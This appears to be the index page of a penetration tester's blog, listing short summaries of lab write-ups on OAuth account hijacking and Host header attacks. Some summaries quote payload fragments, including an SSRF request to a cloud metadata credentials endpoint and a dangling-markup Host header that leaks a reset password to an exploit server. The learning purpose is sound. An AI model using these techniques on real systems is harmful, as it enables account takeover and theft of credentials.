Learning security in the open :)
I’m a Penetration tester. I write up each topic as I learn it
the Vulnerabilities, the Tools, the Concepts that finally clicked
- 223writeups
- 221boxes rooted
- 5Certification
Latest writeups
All writeups-
Medium
OAuth account hijacking via redirect_uri
OAuth account hijacking via redirect_uri where the provider fails to validate the callback against a whitelist, so an authorization request iframed to the admin (who has an active OAuth session) silently mints a code for their account and delivers it to the exploit server, then redeeming that stolen code at the genuine /oauth-callback logs you in as the admin
OAuth authentication 4 min -
Medium
Forced OAuth profile linking
forced OAuth profile linking where the account-linking flow omits the state parameter, so capturing a valid /oauth-linking?code=... callback for your own social profile and replaying it in the admin's authenticated browser via an iframe attaches your profile to their account, letting you log in with social media straight into the admin account
OAuth authentication 4 min -
Hard
SSRF via OpenID dynamic client registration
SSRF via OpenID dynamic client registration where the OAuth service fetches an unauthenticated client's logo_uri server-side to show on the consent page, so registering a client with logo_uri set to http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and loading GET /client/CLIENT-ID/logo returns the provider's cloud IAM secret access key
OAuth authentication 5 min -
Easy
Authentication bypass via OAuth implicit flow
authentication bypass in OAuth implicit flow where the client app mints a session from the email it receives in its own POST /authenticate request instead of binding identity to the access token, so changing email to [email protected] in Repeater and replaying the request in the original session logs you in as carlos without his password
OAuth authentication 3 min -
Medium
Password reset poisoning via dangling markup
password reset poisoning via dangling markup where the reset email mails the new password in-body and the Host header's port is reflected unescaped inside a single-quoted string in the raw (un-sanitised) email HTML, so injecting Host: LAB-ID...:'<a href="//exploit-server/? breaks out and swallows the rest of the body into an outbound link, leaking carlos's new password to the exploit server access log
HTTP Host header 3 min -
Medium
Host validation bypass via connection state attack
routing-based SSRF via a connection-state attack where the front-end only validates the Host header on the first request of a connection, so a clean first request plus a second request with Host: 192.168.0.1 sent on the same keep-alive connection (Send group in sequence, single connection) inherits that trust to reach the internal admin panel and delete carlos
HTTP Host header 2 min -
Medium
SSRF via flawed request parsing
routing-based SSRF via flawed request parsing where the site validates the Host header on normal requests but switches to validating an absolute URL in the request line, leaving the Host unchecked yet still used for routing, so a legit absolute URL plus an internal Host sweeps 192.168.0.0/24 for the admin panel and a crafted GET /admin/delete?csrf=...&username=carlos deletes carlos
HTTP Host header 2 min